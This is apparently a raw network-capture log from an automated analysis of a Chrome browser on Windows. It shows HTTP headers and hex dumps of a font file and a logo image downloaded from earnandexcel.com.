q3nz^6a$cKDNJo>M!TZuT.jD+yy9q7k]ZRZ\|^]o]wteGEIwKIM#MIvRt7nFH~Xrpib/"="6+l$#M3(w}IPszN#zq@cO6c}a
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 04 2d cc ea 70 71 69 ca de 32 9d 2f 68 b2 d7 4b 90 2c 97 bd 6a 52 ec 56 69 8e bd 8a 3d a9 b3 14 99 d5 be ed 17 8b ee 2c 39 83 8c d6 86 ee b7 90 1c ce ce 64 f1 e6 d2 3c 26 c9 93 31 bd af 68 c7 01 c8 1d 61 ac 3a 7c 68 8c 9f 7a df 82 97 55 66 c1 91 2e 7e 46 01 b9 05 9c 8e 38 ae 54 5f 6c 86 76 a6 30 4d 54 ee 14 f0 7e 73 9e fb d5 99 78 7c 3a 0e 21 1d 9f da d4 b6 b9 d8 5e c4 2e cb 66 b9 e8 97 db 49 63 4d 33 71 a7 6f cb a4 25 4d c7 d6 8e ac 48 a9 44 fb 8f 53 9b 25 26 cb 84 ca 74 f6 65 cd a4 ae 85 e2 3e 39 bf be a3 50 90 d8 34 fd 11 ef 56 79 2c eb 59 2a af 44 75 72 ae 94 9e 7b 5d 42 2b f3 ec 62 07 3a de 64 d9 44 02 3b af 7a 67 b4 62 46 6a eb 00 3b d1 6b de 5f 62 1b 88 59 2e 7b f7 96 b8 f8 d9 00 db f1 66 2c ce da f7 bf 9b f6 6c 88 d6 3e 47 28 47 f1 8a b7 c6 8b df Data Ascii: -pqi2/hK,jRVi=,9d<&1ha:\|hzUf.~F8T_lv0MT~sx\|:!^.fIcM3qo%MHDS%&te>9P4Vy,Y*Dur{]B+b:dD;zgbFj;k_bY.{f,l>G(G
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 24 b5 01 55 25 1a 0b 51 76 d4 7a 53 66 c7 84 8b 24 51 79 9f e2 fb 7c 6f 7d 03 1f cd 56 b2 74 4d e8 69 bd 1b 7e 9a 3b 79 e0 ba 44 8b 65 33 6a ae b5 56 47 b0 d7 6c bd 46 e4 4c f3 02 cb 26 d5 03 8d 7c b1 f5 ea 1e 1e bd bb af 82 b2 da c9 2d dc 97 5c 99 b1 6a 3c 81 26 b5 36 35 49 72 96 cd f3 8e 50 6a 59 0b 7a fe 78 00 5c f8 60 24 04 b3 11 13 42 66 8c 18 1b de 58 47 85 61 ec 7a 60 80 ba ce 56 bd 00 25 cf 15 34 ab b7 b8 68 25 c6 da af b1 0d b4 a6 9a 95 d7 fc 91 e0 1b c3 c0 f7 11 8b d5 e0 a3 6f 09 17 fc 1b fc 2b ff 0f d6 36 c3 55 fd 8d 10 c9 df 7c 0e af 6a c8 c7 2f ed b6 35 9b 37 85 72 29 98 c2 e2 db 47 dc c3 dc c8 ed b7 e1 86 96 57 d0 02 bb 6a 3b 0d f9 94 f9 b7 b1 9f 6f 93 15 b9 ba c8 d2 64 e7 5c 7a 73 cd cd 9c b3 c9 f2 5f c2 f9 7b e9 b7 99 1f 58 fc f2 22 00 65 Data Ascii: $U%QvzSf$Qy\|o}VtMi~;yDe3jVGlFL&\|-\j<&65IrPjYzx\`$BfXGaz`V%4h%o+6U\|j/57r)GWj;od\zs_{X"e
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: a3 a7 c9 78 25 bc 83 71 6c f0 52 72 67 b6 dd b6 b6 58 b6 13 c9 01 c0 09 22 21 af 08 4d e0 bb 70 12 66 0c 34 af 63 a9 d6 8c be f7 3c 24 89 b4 aa c8 9d 41 5e 48 4b 83 26 6b 70 f0 69 cb 56 c5 87 f0 c5 07 98 ea 7f 2f 84 34 1c 05 c7 02 82 e4 4f 44 14 8e 33 31 97 08 a3 72 14 c1 d8 51 f2 8f 8a 2f 69 86 ef 2c f2 22 e6 cd f0 a5 33 1c d7 ca 20 69 be 4b 6d da d1 8b 73 85 c7 ac 93 4f 3a 09 f2 62 a4 d3 87 6d db 64 5c da 5f c4 41 ab fb 97 7f f9 80 70 32 73 e8 d5 10 50 c3 52 92 44 dd 6e c2 c1 38 73 99 d1 56 a5 39 3a 17 9d f6 d2 8e 5b df 6c 94 72 65 4d 36 d0 8a 32 a3 3c 11 35 db 28 69 58 6c 3b d8 b8 b7 39 2a 74 54 35 8a d6 aa a1 d2 9f 6a 80 34 71 be c3 d3 e1 40 4b 76 ca 21 7b 68 06 2c 21 09 a6 f2 34 16 28 c1 3c e3 2f 70 46 c4 89 e6 7f cc cd 58 75 94 bf 37 32 10 32 44 d6 Data Ascii: x%qlRrgX"!Mpf4c<$A^HK&kpiV/4OD31rQ/i,"3 iKmsO:bmd\_Ap2sPRDn8sV9:[lreM62<5(iXl;9*tT5j4q@Kv!{h,!4(</pFXu722D
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: e1 47 8f 2e 5d 61 28 45 99 24 f8 5a b7 64 45 5e a8 94 c7 e2 2b aa e2 00 ff 08 13 d4 ca 32 a0 93 3f d8 c1 29 99 64 76 1a 92 32 eb fb 3a 1b cd 21 12 cc 01 1c ad b2 3e 19 d9 26 d2 7a 76 47 fb 84 d0 83 f3 a7 25 01 8e 14 88 37 ea 3c be b4 b5 cf 42 19 a6 d2 59 9e d5 d2 be 1f 7a 87 db 6f 8c 68 84 31 af 21 89 99 68 0b e8 de f8 db 89 23 2c 9b 99 48 84 c8 ae 42 8f ff f3 1c 45 b2 94 f0 af 13 cf 81 0d 62 89 be 2e f1 2d 04 47 6e c0 52 fc 10 0b d6 0c 60 d5 45 c2 e2 6f d7 c9 a2 1e 97 e2 a2 86 57 06 45 4f df 3a c1 5b 3a 11 e3 1d 7d ea 06 f7 78 f8 9a 6c 70 32 21 9b 7c 7d 48 fa 74 f3 34 74 29 9e 84 36 9d bc 0d 2e 0e 5c 15 75 84 fd d3 fb b9 a2 39 87 66 ed 44 d2 94 8c ba 64 d4 9f a9 6c 49 35 da 58 cb 39 4e 34 76 eb ec b6 e6 31 67 af 51 60 d6 aa 52 dc 0c 3b 9d 85 0d 0b c1 09 Data Ascii: G.]a(E$ZdE^+2?)dv2:!>&zvG%7<BYzoh1!h#,HBEb.-GnR`EoWEO:[:}xlp2!\|}Ht4t)6.\u9fDdlI5X9N4v1gQ`R;
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 41 39 93 77 a7 42 e8 ec 4f 89 b7 86 9d 91 7c 1d 84 fd 60 1b 3b 14 35 a8 ce b0 3d 1d 72 d3 31 67 e8 aa 10 82 6e e5 69 73 f9 1d 2a 85 ed ee b8 3d 04 80 11 8f 86 ae 39 0f 44 55 78 36 8a ef 91 e7 f8 e8 d6 41 70 13 22 d3 3c 58 5e cd 49 00 1c 26 ef 67 18 9d 86 e8 14 01 97 67 00 c9 77 6a 84 66 d3 51 71 01 3a a8 36 7b 49 46 01 2c 8a a2 db 9b 6a 94 17 e7 80 8f 38 66 a4 f8 0c 18 b4 38 8a e6 8f 18 45 3f a6 10 85 f8 03 72 87 74 b4 44 f7 68 b1 f0 2c a2 d5 f2 bc 54 50 64 e0 9d 63 21 27 bd a2 52 af 5b 43 6a b7 85 12 b1 c7 16 41 53 77 6c be ec bc 75 fc a2 ed 4a 01 b1 4a 27 01 74 47 bb 81 c7 e4 19 24 89 75 e9 48 28 a4 d8 2a d6 12 fe 19 ff 82 62 59 d8 46 8a 00 ce 2b 29 fa 55 19 52 6d ca 8a 18 5a 60 3d cd 6d 29 65 58 1b 03 4c 8d cf e5 db c6 24 58 21 e9 ba 55 52 2a a7 04 4a Data Ascii: A9wBO\|`;5=r1gnis=9DUx6Ap"<X^I&ggwjfQq:6{IF,j8f8E?rtDh,TPdc!'R[CjASwluJJ'tG$uH(bYF+)URmZ`=m)eXL$X!UR*J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49748	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	721	OUT	GET /wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-light-300.woff2 HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:39 UTC	913	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:39 GMT Content-Type: font/woff2 Content-Length: 190440 Connection: close CF-Ray: 872e0e6298bd4396-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32e0-2e7e8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:08 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UjZyqp1RZgwCDJ88VTzUvtNCrA%2BHb4OeDrzm%2BactNNJbacI%2FcuaV1f%2B3cH0z0fXCEnbpCfUHULGm%2BluKn7bDgBzjo5FD2jz73H5eghKVGXIuao3rcF0KgNp9Xz6n%2Bqd3ErY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 e7 e8 00 0d 00 00 00 07 8d b0 00 02 e7 8c 01 4b 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 91 06 11 08 0a 9b c9 00 95 f9 4a 01 36 02 24 03 b9 72 0b b9 78 00 04 20 05 8a 16 07 81 bf 27 5b 1a 08 96 43 b1 f3 2f 11 18 60 90 6d 0c 00 00 2d f1 fb db a6 d5 52 31 6e 79 74 8e 4d 3b e8 49 a7 01 44 ba 11 dd fc 13 95 19 94 37 a2 59 a1 6a f7 fb b3 b3 ff ff ff ff ff 5d c9 42 64 f3 ff 92 de a7 49 f2 09 94 56 54 14 44 50 75 db 36 4d 4b b3 c9 9c 75 92 54 c4 80 a9 2a 2d a9 a4 8a 27 a9 1d 58 ce 32 4b 1e 19 ee a4 c0 fd 94 96 ee ee de c3 0e 68 ac 6d ab 35 3f 48 41 47 69 31 2b 22 6a f2 08 eb 41 bb 79 cc 39 da 93 7a 5e f5 b2 87 c7 8e 53 f8 1c ee b8 42 1b 41 1b e0 64 4e fa a4 5f f4 ab 3e 5f 60 Data Ascii: wOF2K?FFTM`J6$rx '[C/`m-R1nytM;ID7Yj]BdIVTDPu6MKuT*-'X2Khm5?HAGi1+"jAy9z^SBAdN_>_`
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 07 be 4c ed eb 42 ea 9a dd 5c 36 0a c8 f2 18 0d fa 3c 01 b7 1a aa 9f 5f f5 63 d5 a7 70 5d 0b 4b 58 13 b7 23 82 86 38 2f cc 7f a5 6a ff 5b 40 34 6d 4a 36 6d 2b ee c1 c9 9b 9c 37 3a 6f 74 bf 69 2d db e9 6e 47 ef fd 69 98 eb de aa 02 50 55 28 10 55 85 02 31 10 14 01 90 12 01 90 32 0a 20 28 0c a4 44 80 20 05 82 94 5d 28 82 14 45 c9 8e 2c 27 1d 59 4e ba 25 45 71 6c 39 43 15 40 4a 00 07 05 00 49 85 14 ad 34 49 d9 79 92 d3 c9 8f e3 74 de 30 c9 43 5e 3b e9 c9 63 0f 73 f2 86 61 58 f9 0f d3 ce dd ab f7 17 bb bf fc 8b 65 4f 67 ff fe 66 f9 57 db bf d9 fd dd 5f 7e f8 de df fb 3f 5d 01 8b 90 08 63 0f 2b 43 99 4c b6 a4 9c dc bc f8 4b 2f 9b 7e de 17 0e a3 51 1a 1f 5c f3 b5 b0 4d b8 19 3d 23 32 60 e7 ef ae b9 7c 1a 00 aa 29 94 85 7b 69 0a ef f7 a5 98 6e 2c d4 14 b0 dc b4 Data Ascii: LB\6<_cp]KX#8/j[@4mJ6m+7:oti-nGiPU(U12 (D ](E,'YN%Eql9C@JI4Iyt0C^;csaXeOgfW_~?]c+CLK/~Q\M=#2`\|){in,
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: d9 74 32 6c d4 6b 95 52 3c 1a f8 ff 4f ee 73 9b a3 ac 33 c6 a5 08 3f 2b 9c ac cc 8c 74 bf 56 fe e8 66 37 68 d4 2a a5 42 2e 93 4a 44 04 04 78 ef 61 d7 aa 64 4c 3c 0e 83 84 41 7d e3 b4 ea 34 6a 99 54 c8 42 22 fc f6 ec c9 a3 07 f7 56 6a 15 af e4 14 44 6e 3e bf 8f cf 6b 5b 1e d3 70 eb 2e 95 41 8e 9e 8f ff 49 d7 9d db be 2e f3 d4 77 49 e0 7b ae 63 5b a6 a1 95 14 f4 43 ed 7f 5c 9a 4f 5e e3 35 76 f9 7c 3e 21 9a af 0d f9 8d c9 ff 11 2a d4 44 cb c8 f4 b4 34 44 27 e6 79 f9 40 f8 dc 57 fa 1f 70 79 ed d7 e3 ff 4c 77 fc 2d f5 25 ca 4d 89 46 59 2c 12 0c 90 aa 91 1f a4 40 48 5d 85 c7 b3 43 39 5e 50 91 a4 be b1 81 5b 95 e2 d1 a0 b1 13 d0 22 28 d9 3b 8f 01 8e cd 5c 8c a3 b1 38 2f f8 ba 51 b3 42 76 18 35 5a 89 ff 3c 14 a3 c5 5c d9 0f 08 5f 0c 8b 53 60 2f d6 99 4a 05 43 30 Data Ascii: t2lkR<Os3?+tVf7hB.JDxadL<A}4jTB"VjDn>k[p.AI.wI{c[C\O^5v\|>!D4D'y@WpyLw-%MFY,@H]C9^P["(;\8/QBv5Z<\_S`/JC0
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 97 35 04 38 a4 da bc bc 5c d3 88 73 5a e3 82 1d 36 02 dc 68 4d 31 d2 d8 6f 8e 38 9d 77 a8 e0 8f 46 a8 8e 3c e9 17 43 d4 98 7b 09 d4 75 79 7c dc 85 56 f6 40 48 9c bb 70 34 07 aa 16 6b 4e eb 61 ec 20 6a 33 f1 8e 25 21 0c 38 09 08 16 a2 33 8d c2 d6 c5 e0 24 ae 5f 40 b7 48 92 e0 dc 6d 77 72 cb 93 d5 35 ba f4 67 53 ae da 7d 3e 26 e8 dc 42 51 2e 4d d3 85 66 d6 05 e0 e7 f0 11 e8 b4 26 cd c1 e9 52 83 c9 dc 42 1d c2 19 0a 0d 74 44 5a 87 db c3 4c d2 96 a7 82 d6 03 cd 30 90 74 b5 d3 22 10 59 cc 29 0d a0 18 3b 00 eb 76 38 1f 8e 4e 8b 08 45 56 30 9b 20 89 12 66 91 79 99 39 77 45 14 a9 88 e8 01 9a db 96 cf 70 34 61 69 51 9f 04 ff f6 d6 9a df 7d c1 bc 77 bc cc 78 2e 83 d6 8f 29 e8 90 24 39 18 2c e8 61 3f 22 8a 26 61 a0 0a 44 00 e7 c0 19 0f 41 84 fb a5 28 9c 8d 0b 7d 2a Data Ascii: 58\sZ6hM1o8wF<C{uy\|V@Hp4kNa j3%!83$_@Hmwr5gS}>&BQ.Mf&RBtDZL0t"Y);v8NEV0 fy9wEp4aiQ}wx.)$9,a?"&aDA(}*
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 50 9e 20 e5 64 41 e8 ae 56 ef ef 7c 72 71 47 64 c9 da c6 97 8c 00 d0 f8 2a 26 cb c5 8d 67 86 f4 c0 e0 5b 69 7c 76 38 72 28 7d 09 c0 97 e1 c0 72 b1 2f 99 21 54 85 99 44 d6 be cc 80 c1 97 47 be 0e ab df a2 b7 19 55 d9 6b 87 da ac 93 f9 62 b6 7f e7 b2 8f ef 4b 99 a5 f8 f8 fa fe 23 a7 87 b1 72 a3 e6 37 df b7 fe 29 50 17 28 22 32 26 be 58 49 ea 64 93 6f 52 96 99 2f 55 42 4c c9 ef 66 19 4e 78 8f 6b 8b a3 f4 7b dd 06 fd a3 6a 4d e8 4b fb 81 bb 8e 78 4c 49 28 bd 48 53 a2 0e b8 68 4b 47 80 b3 05 00 a1 73 40 21 61 e6 25 d6 65 41 58 62 0f 18 ff 32 7a f4 2e 0e 52 ce 96 96 dd 4c 04 01 fc 08 f1 1e 64 aa b5 bc 3d 18 00 3d 20 71 3c c2 a5 ae eb 75 c5 7c c8 b0 06 d0 42 00 f6 be 30 ae 02 aa f8 47 e2 63 80 9b c0 c6 a5 98 80 a0 a3 74 06 94 9d c1 eb c1 aa e8 08 ba 55 22 25 10 Data Ascii: P dAV\|rqGd*&g[i\|v8r(}r/!TDGUkbK#r7)P("2&XIdoR/UBLfNxk{jMKxLI(HShKGs@!a%eAXb2z.RLd== q<u\|B0GctU"%
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 5f 10 74 09 99 3e 22 3a 85 ae f3 e7 1f 87 52 fb 7d e4 5d 4a c8 88 2f 40 34 bf 81 ef 23 5f 99 04 25 d0 b6 40 69 c7 30 87 c7 88 14 dd 8f 34 05 df 8f 9d 19 34 53 6c 4d 9e a4 58 1b fd 9f c0 e4 8a fb 5a aa a9 22 3c 5a 2a ef aa d3 f3 85 f3 1a 7d 09 38 7b 4a 36 2f fe d4 3e fb 8a e2 08 51 5e ec 96 51 ca b6 63 54 09 aa 02 28 81 e7 b5 06 b6 25 b6 8a 14 f1 b1 26 cb 4b df e9 c6 34 e3 7d 33 3d f8 0d 11 61 5e bf 1a 7d f1 f3 45 7a 81 13 50 6c 84 e0 7b 43 34 c5 e4 3a 1f 19 df 08 03 22 4f 44 e2 79 aa 3f 31 e3 8b 54 31 92 2f 54 7c b3 6e 9a cb 26 9c a8 1d 74 fa 97 cc 52 fa 52 98 d3 eb f9 09 5e 06 0e 65 e2 c2 6c fc 23 11 e6 cc 6c 5d 5f 01 ce f6 4e 8e 3b 60 a3 eb 93 38 d6 9f 2f 33 03 18 83 0c 37 26 03 3c 1e 27 03 08 68 08 ed 13 42 92 81 b2 fa 19 8b f4 13 de 68 bd 7d aa a9 36 Data Ascii: _t>":R}]J/@4#_%@i044SlMXZ"<Z*}8{J6/>Q^QcT(%&K4}3=a^}EzPl{C4:"ODy?1T1/T\|n&tRR^el#l]_N;`8/37&<'hBh}6
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: f1 56 33 1b b9 60 48 db 46 4c ac 21 22 dc c1 c5 0c 74 7c 82 2f 4a 0d 5d 86 18 fc 48 66 5a b6 0b 9e d1 71 2e d4 8b 4c 5c fe 50 70 92 00 b5 f8 35 06 af 81 a6 20 14 4c d0 75 14 ba a0 a7 86 47 45 5c 07 d6 cc 91 10 42 05 6a 01 15 f5 c6 e9 9c 17 2a 07 b4 51 95 ff 90 89 dd 9a 6b 80 e9 fb 13 32 1a 66 40 6d 1c bf 7c b9 7a a2 2d aa 3f b1 cf 07 40 e8 c6 79 3c cd 7e 4b 57 4b a8 af b1 7a 67 97 df c2 fd 37 1b 44 f3 6f 88 6e 27 c0 ad 40 7f f3 70 ad ac eb bc 26 80 3b 26 16 f2 0c e0 ce e1 39 e0 94 08 f3 7e d9 f8 a1 ae 56 dc 11 65 01 5f a7 91 34 1f 98 80 30 32 6a fd c7 50 13 4d 77 04 11 61 ae 65 3e 59 6d 12 99 66 35 20 89 50 98 4f 01 38 45 4d 22 3f bc 14 00 7f ca 8f f9 17 d4 4d a5 b3 2e 93 34 fd 0e a4 f9 fb 1a 7d b2 32 a2 1c 3b 90 c8 59 9b 4d bd 00 5b 8f a7 6f 11 1f 33 6b Data Ascii: V3`HFL!"t\|/J]HfZq.L\Pp5 LuGE\Bj*Qk2f@m\|z-?@y<~KWKzg7Don'@p&;&9~Ve_402jPMwae>Ymf5 PO8EM"?M.4}2;YM[o3k
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: b0 f6 95 9c 4e 0d 08 49 08 ce c7 89 d2 7b d9 29 8b a8 25 70 1f 71 36 90 9f 85 72 a5 af bd 92 4d 11 f9 43 32 ce 62 b4 20 77 03 03 50 73 2e 3f 7b 39 09 3d 2d 6c 1b 35 ce 85 61 75 8e c9 2e 25 69 e8 a9 10 14 a8 0d 85 09 9b 04 19 c7 c7 fe 27 c8 78 b8 38 a5 ce 87 d7 02 9b 94 9e c5 41 ff e6 ae 98 6e c3 b3 4c cb 41 21 7d f2 2e 89 70 cc 6f dd c0 81 7e 39 07 20 e0 6b c5 e1 f8 74 f0 d0 72 a7 ea a4 38 9b ce 0c a6 e7 bc c9 46 15 28 53 33 4c 11 4f 39 c4 ae 3e d0 d8 a9 47 a7 89 d8 8f 0f 62 9d 69 2e 99 b1 2e f2 7d e8 00 bc 51 2f ac 85 e3 88 a7 e3 0f 6c 10 ff 80 0d 05 11 21 5f 0d 56 32 a0 5b 4c 06 97 a3 2e 3c 60 a7 5a 76 c0 a7 1c a1 41 22 44 38 e4 ef 59 4b 70 f7 ed 89 b3 41 69 f6 e0 ca ba 39 35 84 6a a9 da 1d d1 f0 cd b0 f1 9c ae 56 55 af 01 39 61 57 1c 23 29 34 bb de e4 Data Ascii: NI{)%pq6rMC2b wPs.?{9=-l5au.%i'x8AnLA!}.po~9 ktr8F(S3LO9>Gbi..}Q/l!_V2[L.<`ZvA"D8YKpAi95jVU9aW#)4
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 5e ec 18 cf 00 7a b3 f2 53 68 97 ef 1f ae 5e fb 62 b7 b5 5e d8 33 2d 3b ee bc 34 26 a3 db 67 0e 55 0d 17 7d 6c 90 e1 fd c3 7b cf d6 ae a1 dd d7 1a 8b 5b 6b d9 53 3c a1 e4 27 ed 5b 0b 40 64 6d 4d cc ac 04 25 ec e4 f2 e2 81 8d 9c 9e 6d 3c 9c 8d ec c7 a2 7a d4 5c ee f9 88 8c 39 a0 59 a0 59 b3 e1 6a fd 81 72 ea 9f 1d 91 29 8c 26 00 6c 8c 94 71 b9 b1 29 8e 0b d6 85 62 13 39 f3 12 77 d9 5b 00 2f c0 70 63 2f 1a b2 58 b4 b8 01 31 c6 1a fd ec 63 f6 eb 05 28 0b 60 8e 1a 21 e2 76 d5 f9 46 80 63 ec ab ed 39 24 a0 c4 85 60 28 b8 3c e5 66 e3 00 f6 90 09 59 d8 e3 7d 11 d3 2e 77 c9 6f da 04 6c 98 e9 64 79 9f 1f 99 e1 e0 ac 5b 2d 9d 18 1a 88 0f 56 62 f4 82 e4 a2 26 d6 00 6f a0 5e 48 b0 a6 d2 3b af 8f f4 c6 47 e7 55 0f 84 c6 8a 32 2b 2b d7 1d 8a 55 1d 72 87 e9 f6 f6 dd c8 Data Ascii: ^zSh^b^3-;4&gU}l{[kS<'[@dmM%m<z\9YYjr)&lq)b9w[/pc/X1c(`!vFc9$`(<fY}.woldy[-Vb&o^H;GU2++Ur
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 65 17 6e c9 1f 7a 62 c2 1b 4b 49 e1 75 e5 61 d1 71 f8 a1 e2 f7 f6 a5 57 5e 67 33 f7 91 5d 5c 06 02 1a 61 80 fb 02 7e a7 9b 2b 9a 9c 68 1b 36 e8 e8 37 d9 0e e8 29 45 53 b5 94 ca 5a 08 6f d4 48 c5 56 0d c2 37 66 2a 8e 6e 2f cd ea 8b 6e 87 9e d0 fd 24 d4 c0 07 49 61 f0 75 05 fc 3d 0e 94 d1 fb a7 4f df 9f 05 ce 75 8d a2 46 b5 ed 09 6f 20 f7 c0 02 b1 04 e3 72 25 c7 e4 76 08 c2 eb 59 37 91 6a 81 e9 45 08 09 99 32 0c 0f 57 cd 07 a1 99 c9 a3 fc 81 68 d3 f7 a8 ad 75 2f c9 b1 36 6b bb d0 19 31 ef c7 db 23 e5 87 c1 f6 98 bb 23 6d ec 9e 8c cb 95 ae ce ea 15 a5 ab dd 1e e7 3b a2 ce 23 a7 2d ea 3f 08 b4 75 79 23 21 d2 51 fc a2 18 23 aa c3 32 59 d5 66 f7 2e aa 90 bc 77 41 f6 cf 49 7e 47 77 c9 b9 7b d2 a7 e7 df 83 26 4d 0f 42 8b be 7f 0e 02 fe c1 79 d1 e3 d9 b4 18 f0 8b Data Ascii: enzbKIuaqW^g3]\a~+h67)ESZoHV7f*n/n$Iau=OuFo r%vY7jE2Whu/6k1##m;#-?uy#!Q#2Yf.wAI~Gw{&MBy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49751	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	655	OUT	GET /wp-content/uploads/Earn-And-Excel-Logo-1-148x50.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:40 UTC	904	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 2472 Connection: close CF-Ray: 872e0e62ad188c77-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dfe9f9-9a8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 04:39:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mm4ya1sRN38K8kwZ9YC0%2BbB7wegecoOpJNwirkdJLgHH74l%2B8ahLSDNXOvRaHwG36V25adT7muKVh%2B1MtzQJNZj3YTsIQGdIebxpcmkqNdYndgoGcRgKaA8T9ozLA7rwK%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	465	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 94 00 00 00 32 08 03 00 00 00 8d a7 02 15 00 00 02 07 50 4c 54 45 00 00 00 2d 2d 2d 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 44 44 44 28 28 28 28 28 28 3a 3a 3a 28 28 28 28 28 28 28 28 28 a9 d6 00 1d c9 52 28 28 28 28 28 28 28 28 28 28 28 28 31 31 31 a9 d6 00 44 44 44 44 44 44 28 28 28 28 28 28 44 44 44 9f d5 0a 44 44 44 28 28 28 28 28 28 1d c9 51 28 28 28 28 28 28 a9 d6 00 28 28 28 28 28 28 44 44 44 a9 d6 00 1d c9 52 28 28 28 44 44 44 28 28 28 44 44 44 44 44 44 44 44 44 28 28 28 44 44 44 28 28 28 1d c9 52 28 28 28 44 44 44 28 28 28 28 28 28 28 28 28 2d 2d 2d 44 44 44 28 28 28 1d c9 52 1d c9 52 28 28 28 a9 d6 00 1d c9 52 28 28 28 28 28 28 1d c9 52 28 Data Ascii: PNGIHDR2PLTE---((((((((((((((((((((((((((((((DDD((((((:::(((((((((R((((((((((((111DDDDDD((((((DDDDDD((((((Q((((((((((((DDDR(((DDD(((DDDDDDDDD(((DDD(((R(((DDD(((((((((---DDD(((RR(((R((((((R(
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 44 44 44 44 44 1d c9 52 44 44 44 44 44 44 44 44 44 21 ca 50 a9 d6 00 1e ca 51 a4 d6 03 a9 d6 00 a9 d6 00 1d c9 52 1d c9 52 1d c9 52 8d d3 11 a9 d6 00 a9 d6 00 1d c9 52 a9 d6 00 1d c9 52 a9 d6 00 1d c9 52 28 28 28 1d c9 52 7c d2 1c a9 d6 00 1d c9 52 a9 d6 00 28 28 28 25 ca 4d 8c d3 11 1b 56 2a 55 00 00 00 a8 74 52 4e 53 00 03 05 80 ad f9 66 fc 5c e7 c9 f6 05 ec fe 0a 0e 53 26 8d 99 f1 2d dc a3 07 fd 1e 94 35 15 0e 03 c1 24 1d f8 8c 3b fa 99 19 65 0a fc c0 a5 76 15 dc d1 71 52 48 05 df ca 9d 32 21 11 ef 50 09 ea d1 cc c9 b5 b1 8a 88 86 4c 44 42 0e f6 f0 ef ea e7 e2 dd d5 d5 d4 d1 c3 c2 b5 7a 78 6a 45 40 37 35 26 1d 1a 14 06 e5 e3 c6 bb a9 a9 a4 58 4a 4a 3a 30 23 1b d9 d0 cf b7 ae a0 92 8c 74 6c 57 4b 3d 34 2f 23 1d 15 0f f2 d9 be b6 a9 98 96 94 85 74 6b 64 Data Ascii: 